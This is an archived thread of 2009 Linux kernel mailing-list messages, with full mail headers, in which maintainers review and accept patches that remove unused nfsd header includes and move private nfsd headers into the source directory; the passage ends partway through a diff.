Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2362>

On Tue, 24 Nov 2009 20:02:00 +0200
Boaz Harrosh <bharrosh@panasas.com> wrote:

> Some unused includes removed.
> 
> This patch is in an effort to cleanup nfsd headers and move
> private definitions to source directory.
> 
> Signed-off-by: Boaz Harrosh <bharrosh@panasas.com>
> ---
>  arch/s390/kernel/compat_linux.c |    6 ------
>  arch/s390/kernel/compat_linux.h |    4 ----
>  2 files changed, 0 insertions(+), 10 deletions(-)
 
The patch is fine. I'll add it to the feature branch of git390 for the
next merge window. 

-- 
blue skies,
   Martin.

"Reality continues to ruin my life." - Calvin.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh@panasas.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.nfs
Subject: Re: [PATCHSET 0-5] remove unneeded nfsd #includes
Date: Wed, 25 Nov 2009 10:42:37 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <4B0CEDFD.2050107@panasas.com>
References: <4B0C1EB7.50508@panasas.com> <20091124230852.GA468@fieldses.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259138573 7912 80.91.229.12 (25 Nov 2009 08:42:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Nov 2009 08:42:53 +0000 (UTC)
Cc: Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	NFS list <linux-nfs@vger.kernel.org>,
	pNFS Mailing List <pnfs@linux-nfs.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: "J. Bruce Fields" <bfields@citi.umich.edu>
Original-X-From: sparclinux-owner@vger.kernel.org Wed Nov 25 09:42:45 2009
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDDSX-0005oi-0U
	for lnx-sparclinux@lo.gmane.org; Wed, 25 Nov 2009 09:42:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752435AbZKYImg (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 25 Nov 2009 03:42:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752573AbZKYImg
	(ORCPT <rfc822;sparclinux-outgoing>);
	Wed, 25 Nov 2009 03:42:36 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:1372 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752435AbZKYImf (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 25 Nov 2009 03:42:35 -0500
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.21]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Wed, 25 Nov 2009 03:42:40 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090924 Remi/fc10 Thunderbird/3.0b4
In-Reply-To: <20091124230852.GA468@fieldses.org>
X-OriginalArrivalTime: 25 Nov 2009 08:42:41.0106 (UTC) FILETIME=[3FD24320:01CA6DAB]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:12528 gmane.linux.kernel:918585 gmane.linux.ports.parisc:2363 gmane.linux.nfs:29595
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2363>

On 11/25/2009 01:08 AM, J. Bruce Fields wrote:
> On Tue, Nov 24, 2009 at 07:58:15PM +0200, Boaz Harrosh wrote:
>> Why is debug.h exported from Kernel? (include/linux/nfsd/Kbuild)
> 
> I suppose it's so rpcdebug can get the rpc debug flags; see e.g.
> nfs-utils/tools/rpcdebug/rpcdebug.c.
> 

OK, thanks, so I didn't touch it

> --b.
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. Bruce Fields" <bfields-vtMw8L3fJ9vSiEDVxGk4TQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 4/5] lockd: Remove unused nfsd headers #includes
Date: Wed, 25 Nov 2009 15:10:11 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <20091125201011.GG32502@fieldses.org>
References: <4B0C1EB7.50508@panasas.com> <4B0C1FE0.8040105@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259179782 18313 80.91.229.12 (25 Nov 2009 20:09:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Nov 2009 20:09:42 +0000 (UTC)
Cc: Linux Kernel <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s390 <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	pNFS Mailing List <pnfs-6DNke4IJHB0gsBAKwltoeQ@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
To: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Nov 25 21:09:34 2009
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDOBB-0003gG-Gy
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Wed, 25 Nov 2009 21:09:33 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S934904AbZKYUJZ (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 25 Nov 2009 15:09:25 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S934753AbZKYUJZ
	(ORCPT <rfc822;linux-nfs-outgoing>); Wed, 25 Nov 2009 15:09:25 -0500
Original-Received: from fieldses.org ([174.143.236.118]:39055 "EHLO fieldses.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759169AbZKYUJX (ORCPT <rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 25 Nov 2009 15:09:23 -0500
Original-Received: from bfields by fieldses.org with local (Exim 4.69)
	(envelope-from <bfields-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org>)
	id 1NDOBo-0000Mo-0b; Wed, 25 Nov 2009 15:10:12 -0500
Content-Disposition: inline
In-Reply-To: <4B0C1FE0.8040105-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:29599 gmane.linux.kernel:919024 gmane.linux.ports.parisc:2364 gmane.linux.ports.sparc:12529
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2364>

On Tue, Nov 24, 2009 at 08:03:12PM +0200, Boaz Harrosh wrote:
> 
> In what history where these ever needed? Well not
> any more.

Applied, thanks.--b.

> 
> Signed-off-by: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
> ---
>  fs/lockd/svc4proc.c |    4 ----
>  fs/lockd/svcproc.c  |    4 ----
>  2 files changed, 0 insertions(+), 8 deletions(-)
> 
> diff --git a/fs/lockd/svc4proc.c b/fs/lockd/svc4proc.c
> index bd173a6..a7966ee 100644
> --- a/fs/lockd/svc4proc.c
> +++ b/fs/lockd/svc4proc.c
> @@ -11,10 +11,6 @@
>  #include <linux/time.h>
>  #include <linux/slab.h>
>  #include <linux/smp_lock.h>
> -#include <linux/in.h>
> -#include <linux/sunrpc/svc.h>
> -#include <linux/sunrpc/clnt.h>
> -#include <linux/nfsd/nfsd.h>
>  #include <linux/lockd/lockd.h>
>  #include <linux/lockd/share.h>
>  
> diff --git a/fs/lockd/svcproc.c b/fs/lockd/svcproc.c
> index e1d28dd..56c9519 100644
> --- a/fs/lockd/svcproc.c
> +++ b/fs/lockd/svcproc.c
> @@ -11,10 +11,6 @@
>  #include <linux/time.h>
>  #include <linux/slab.h>
>  #include <linux/smp_lock.h>
> -#include <linux/in.h>
> -#include <linux/sunrpc/svc.h>
> -#include <linux/sunrpc/clnt.h>
> -#include <linux/nfsd/nfsd.h>
>  #include <linux/lockd/lockd.h>
>  #include <linux/lockd/share.h>
>  
> -- 
> 1.6.5.2
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. Bruce Fields" <bfields-vtMw8L3fJ9vSiEDVxGk4TQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 5/5] vfs: nfsctl.c unused nfsd #includes
Date: Wed, 25 Nov 2009 15:13:15 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20091125201315.GH32502@fieldses.org>
References: <4B0C1EB7.50508@panasas.com> <4B0C201C.4040400@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259179975 18992 80.91.229.12 (25 Nov 2009 20:12:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Nov 2009 20:12:55 +0000 (UTC)
Cc: Linux Kernel <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s390 <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	pNFS Mailing List <pnfs-6DNke4IJHB0gsBAKwltoeQ@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
To: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Nov 25 21:12:47 2009
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDOEG-0005At-Is
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Wed, 25 Nov 2009 21:12:44 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1759702AbZKYUM1 (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 25 Nov 2009 15:12:27 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1759626AbZKYUM1
	(ORCPT <rfc822;linux-nfs-outgoing>); Wed, 25 Nov 2009 15:12:27 -0500
Original-Received: from fieldses.org ([174.143.236.118]:39060 "EHLO fieldses.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753423AbZKYUMZ (ORCPT <rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 25 Nov 2009 15:12:25 -0500
Original-Received: from bfields by fieldses.org with local (Exim 4.69)
	(envelope-from <bfields-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org>)
	id 1NDOEl-0000OK-3m; Wed, 25 Nov 2009 15:13:15 -0500
Content-Disposition: inline
In-Reply-To: <4B0C201C.4040400-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:29600 gmane.linux.kernel:919026 gmane.linux.ports.parisc:2365 gmane.linux.ports.sparc:12530
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2365>

On Tue, Nov 24, 2009 at 08:04:12PM +0200, Boaz Harrosh wrote:
> 
> Only linux/nfsd/syscall.h is actually used. Remove the
> other nfsd #includes, so they can be moved to source
> directory.

I guess I'll take this one too.

The arch-specific ones I'm assuming are someone else's problem unless I
hear otherwise.

--b.

> 
> Signed-off-by: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
> ---
>  fs/nfsctl.c |    2 --
>  1 files changed, 0 insertions(+), 2 deletions(-)
> 
> diff --git a/fs/nfsctl.c b/fs/nfsctl.c
> index 8f9a205..d3854d9 100644
> --- a/fs/nfsctl.c
> +++ b/fs/nfsctl.c
> @@ -7,8 +7,6 @@
>  #include <linux/types.h>
>  #include <linux/file.h>
>  #include <linux/fs.h>
> -#include <linux/sunrpc/svc.h>
> -#include <linux/nfsd/nfsd.h>
>  #include <linux/nfsd/syscall.h>
>  #include <linux/cred.h>
>  #include <linux/sched.h>
> -- 
> 1.6.5.2
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. Bruce Fields" <bfields-vtMw8L3fJ9vSiEDVxGk4TQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [RFC] nfsd: Move private headers to source directory
Date: Wed, 25 Nov 2009 15:14:08 -0500
Lines: 461
Approved: news@gmane.org
Message-ID: <20091125201408.GI32502@fieldses.org>
References: <4B0C1EB7.50508@panasas.com> <4B0C205A.3000403@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259180024 19159 80.91.229.12 (25 Nov 2009 20:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Nov 2009 20:13:44 +0000 (UTC)
Cc: Linux Kernel <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s390 <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	pNFS Mailing List <pnfs-6DNke4IJHB0gsBAKwltoeQ@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
To: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Nov 25 21:13:35 2009
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDOF0-0005Ll-He
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Wed, 25 Nov 2009 21:13:30 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S934945AbZKYUNW (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 25 Nov 2009 15:13:22 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S934947AbZKYUNW
	(ORCPT <rfc822;linux-nfs-outgoing>); Wed, 25 Nov 2009 15:13:22 -0500
Original-Received: from fieldses.org ([174.143.236.118]:39065 "EHLO fieldses.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934917AbZKYUNT (ORCPT <rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 25 Nov 2009 15:13:19 -0500
Original-Received: from bfields by fieldses.org with local (Exim 4.69)
	(envelope-from <bfields-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org>)
	id 1NDOFc-0000PT-Ke; Wed, 25 Nov 2009 15:14:08 -0500
Content-Disposition: inline
In-Reply-To: <4B0C205A.3000403-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:29601 gmane.linux.kernel:919028 gmane.linux.ports.parisc:2366 gmane.linux.ports.sparc:12531
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2366>

On Tue, Nov 24, 2009 at 08:05:14PM +0200, Boaz Harrosh wrote:
> 
> Lots of include/linux/nfsd/* headers are only used by
> nfsd module. Move them to the source directory

Fine by me; I guess just resubmit this after the others go in.

--b.

> 
> Signed-off-by: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
> ---
>  fs/nfsd/auth.c                     |    2 +-
>  {include/linux => fs}/nfsd/cache.h |    0
>  fs/nfsd/export.c                   |    3 ++-
>  fs/nfsd/lockd.c                    |    2 +-
>  fs/nfsd/nfs2acl.c                  |    7 ++++---
>  fs/nfsd/nfs3acl.c                  |    7 ++++---
>  fs/nfsd/nfs3proc.c                 |    4 ++--
>  fs/nfsd/nfs3xdr.c                  |    2 +-
>  fs/nfsd/nfs4callback.c             |    4 ++--
>  fs/nfsd/nfs4proc.c                 |    4 ++--
>  fs/nfsd/nfs4recover.c              |    5 +++--
>  fs/nfsd/nfs4state.c                |    2 +-
>  fs/nfsd/nfs4xdr.c                  |    3 ++-
>  fs/nfsd/nfscache.c                 |    4 ++--
>  fs/nfsd/nfsctl.c                   |    5 +++--
>  {include/linux => fs}/nfsd/nfsd.h  |    0
>  fs/nfsd/nfsfh.c                    |    2 +-
>  fs/nfsd/nfsproc.c                  |    4 ++--
>  fs/nfsd/nfssvc.c                   |    4 ++--
>  fs/nfsd/nfsxdr.c                   |    2 +-
>  {include/linux => fs}/nfsd/state.h |    0
>  fs/nfsd/stats.c                    |    4 ++--
>  fs/nfsd/vfs.c                      |   18 ++++++++++--------
>  {include/linux => fs}/nfsd/xdr.h   |    2 +-
>  {include/linux => fs}/nfsd/xdr3.h  |    2 +-
>  {include/linux => fs}/nfsd/xdr4.h  |    4 ++--
>  26 files changed, 52 insertions(+), 44 deletions(-)
>  rename {include/linux => fs}/nfsd/cache.h (100%)
>  rename {include/linux => fs}/nfsd/nfsd.h (100%)
>  rename {include/linux => fs}/nfsd/state.h (100%)
>  rename {include/linux => fs}/nfsd/xdr.h (99%)
>  rename {include/linux => fs}/nfsd/xdr3.h (99%)
>  rename {include/linux => fs}/nfsd/xdr4.h (99%)
> 
> diff --git a/fs/nfsd/auth.c b/fs/nfsd/auth.c
> index ad354d2..71209d4 100644
> --- a/fs/nfsd/auth.c
> +++ b/fs/nfsd/auth.c
> @@ -5,7 +5,7 @@
>   */
>  
>  #include <linux/sched.h>
> -#include <linux/nfsd/nfsd.h>
> +#include "nfsd.h"
>  #include "auth.h"
>  
>  int nfsexp_flags(struct svc_rqst *rqstp, struct svc_export *exp)
> diff --git a/include/linux/nfsd/cache.h b/fs/nfsd/cache.h
> similarity index 100%
> rename from include/linux/nfsd/cache.h
> rename to fs/nfsd/cache.h
> diff --git a/fs/nfsd/export.c b/fs/nfsd/export.c
> index 68e63f4..cb3dae2 100644
> --- a/fs/nfsd/export.c
> +++ b/fs/nfsd/export.c
> @@ -18,10 +18,11 @@
>  #include <linux/module.h>
>  #include <linux/exportfs.h>
>  
> -#include <linux/nfsd/nfsd.h>
>  #include <linux/nfsd/syscall.h>
>  #include <net/ipv6.h>
>  
> +#include "nfsd.h"
> +
>  #define NFSDDBG_FACILITY	NFSDDBG_EXPORT
>  
>  typedef struct auth_domain	svc_client;
> diff --git a/fs/nfsd/lockd.c b/fs/nfsd/lockd.c
> index 801ef71..6f12777 100644
> --- a/fs/nfsd/lockd.c
> +++ b/fs/nfsd/lockd.c
> @@ -9,8 +9,8 @@
>   */
>  
>  #include <linux/file.h>
> -#include <linux/nfsd/nfsd.h>
>  #include <linux/lockd/bind.h>
> +#include "nfsd.h"
>  #include "vfs.h"
>  
>  #define NFSDDBG_FACILITY		NFSDDBG_LOCKD
> diff --git a/fs/nfsd/nfs2acl.c b/fs/nfsd/nfs2acl.c
> index a54628d..874e2a9 100644
> --- a/fs/nfsd/nfs2acl.c
> +++ b/fs/nfsd/nfs2acl.c
> @@ -6,10 +6,11 @@
>   * Copyright (C) 2002-2003 Andreas Gruenbacher <agruen-l3A5Bk7waGM@public.gmane.org>
>   */
>  
> -#include <linux/nfsd/nfsd.h>
> -#include <linux/nfsd/cache.h>
> -#include <linux/nfsd/xdr3.h>
> +#include "nfsd.h"
> +/* FIXME: nfsacl.h is a broken header */
>  #include <linux/nfsacl.h>
> +#include "cache.h"
> +#include "xdr3.h"
>  #include "vfs.h"
>  
>  #define NFSDDBG_FACILITY		NFSDDBG_PROC
> diff --git a/fs/nfsd/nfs3acl.c b/fs/nfsd/nfs3acl.c
> index 2f5c61b..c6011dd 100644
> --- a/fs/nfsd/nfs3acl.c
> +++ b/fs/nfsd/nfs3acl.c
> @@ -6,10 +6,11 @@
>   * Copyright (C) 2002-2003 Andreas Gruenbacher <agruen-l3A5Bk7waGM@public.gmane.org>
>   */
>  
> -#include <linux/nfsd/nfsd.h>
> -#include <linux/nfsd/cache.h>
> -#include <linux/nfsd/xdr3.h>
> +#include "nfsd.h"
> +/* FIXME: nfsacl.h is a broken header */
>  #include <linux/nfsacl.h>
> +#include "cache.h"
> +#include "xdr3.h"
>  #include "vfs.h"
>  
>  #define RETURN_STATUS(st)	{ resp->status = (st); return (st); }
> diff --git a/fs/nfsd/nfs3proc.c b/fs/nfsd/nfs3proc.c
> index b694b43..90b19ca 100644
> --- a/fs/nfsd/nfs3proc.c
> +++ b/fs/nfsd/nfs3proc.c
> @@ -10,8 +10,8 @@
>  #include <linux/ext2_fs.h>
>  #include <linux/magic.h>
>  
> -#include <linux/nfsd/cache.h>
> -#include <linux/nfsd/xdr3.h>
> +#include "cache.h"
> +#include "xdr3.h"
>  #include "vfs.h"
>  
>  #define NFSDDBG_FACILITY		NFSDDBG_PROC
> diff --git a/fs/nfsd/nfs3xdr.c b/fs/nfsd/nfs3xdr.c
> index 623e13a..c523bb8 100644
> --- a/fs/nfsd/nfs3xdr.c
> +++ b/fs/nfsd/nfs3xdr.c
> @@ -9,7 +9,7 @@
>   */
>  
>  #include <linux/namei.h>
> -#include <linux/nfsd/xdr3.h>
> +#include "xdr3.h"
>  #include "auth.h"
>  
>  #define NFSDDBG_FACILITY		NFSDDBG_XDR
> diff --git a/fs/nfsd/nfs4callback.c b/fs/nfsd/nfs4callback.c
> index 4fe3960..f7a3158 100644
> --- a/fs/nfsd/nfs4callback.c
> +++ b/fs/nfsd/nfs4callback.c
> @@ -34,8 +34,8 @@
>   */
>  
>  #include <linux/sunrpc/clnt.h>
> -#include <linux/nfsd/nfsd.h>
> -#include <linux/nfsd/state.h>
> +#include "nfsd.h"
> +#include "state.h"
>  
>  #define NFSDDBG_FACILITY                NFSDDBG_PROC
>  
> diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c
> index d0e04cb..f8a37c4 100644
> --- a/fs/nfsd/nfs4proc.c
> +++ b/fs/nfsd/nfs4proc.c
> @@ -36,8 +36,8 @@
>   */
>  #include <linux/file.h>
>  
> -#include <linux/nfsd/cache.h>
> -#include <linux/nfsd/xdr4.h>
> +#include "cache.h"
> +#include "xdr4.h"
>  #include "vfs.h"
>  
>  #define NFSDDBG_FACILITY		NFSDDBG_PROC
> diff --git a/fs/nfsd/nfs4recover.c b/fs/nfsd/nfs4recover.c
> index 48742f2..6744e7f 100644
> --- a/fs/nfsd/nfs4recover.c
> +++ b/fs/nfsd/nfs4recover.c
> @@ -33,12 +33,13 @@
>  *
>  */
>  
> -#include <linux/nfsd/nfsd.h>
> -#include <linux/nfsd/state.h>
>  #include <linux/file.h>
>  #include <linux/namei.h>
>  #include <linux/crypto.h>
>  #include <linux/sched.h>
> +
> +#include "nfsd.h"
> +#include "state.h"
>  #include "vfs.h"
>  
>  #define NFSDDBG_FACILITY                NFSDDBG_PROC
> diff --git a/fs/nfsd/nfs4state.c b/fs/nfsd/nfs4state.c
> index 1fe6e29..2923e6c 100644
> --- a/fs/nfsd/nfs4state.c
> +++ b/fs/nfsd/nfs4state.c
> @@ -36,11 +36,11 @@
>  
>  #include <linux/file.h>
>  #include <linux/smp_lock.h>
> -#include <linux/nfsd/xdr4.h>
>  #include <linux/namei.h>
>  #include <linux/swap.h>
>  #include <linux/sunrpc/svcauth_gss.h>
>  #include <linux/sunrpc/clnt.h>
> +#include "xdr4.h"
>  #include "vfs.h"
>  
>  #define NFSDDBG_FACILITY                NFSDDBG_PROC
> diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c
> index 2fa9682..cab9780 100644
> --- a/fs/nfsd/nfs4xdr.c
> +++ b/fs/nfsd/nfs4xdr.c
> @@ -43,10 +43,11 @@
>  #include <linux/namei.h>
>  #include <linux/statfs.h>
>  #include <linux/utsname.h>
> -#include <linux/nfsd/xdr4.h>
>  #include <linux/nfsd_idmap.h>
>  #include <linux/nfs4_acl.h>
>  #include <linux/sunrpc/svcauth_gss.h>
> +
> +#include "xdr4.h"
>  #include "vfs.h"
>  
>  #define NFSDDBG_FACILITY		NFSDDBG_XDR
> diff --git a/fs/nfsd/nfscache.c b/fs/nfsd/nfscache.c
> index 96694b8..18aa972 100644
> --- a/fs/nfsd/nfscache.c
> +++ b/fs/nfsd/nfscache.c
> @@ -10,8 +10,8 @@
>   * Copyright (C) 1995, 1996 Olaf Kirch <okir-pn4DOG8n3UYbFoVRYvo4fw@public.gmane.org>
>   */
>  
> -#include <linux/nfsd/nfsd.h>
> -#include <linux/nfsd/cache.h>
> +#include "nfsd.h"
> +#include "cache.h"
>  
>  /* Size of reply cache. Common values are:
>   * 4.3BSD:	128
> diff --git a/fs/nfsd/nfsctl.c b/fs/nfsd/nfsctl.c
> index e4f49fd..0415680 100644
> --- a/fs/nfsd/nfsctl.c
> +++ b/fs/nfsd/nfsctl.c
> @@ -11,12 +11,13 @@
>  
>  #include <linux/nfsd_idmap.h>
>  #include <linux/sunrpc/svcsock.h>
> -#include <linux/nfsd/nfsd.h>
> -#include <linux/nfsd/cache.h>
>  #include <linux/nfsd/syscall.h>
>  #include <linux/lockd/lockd.h>
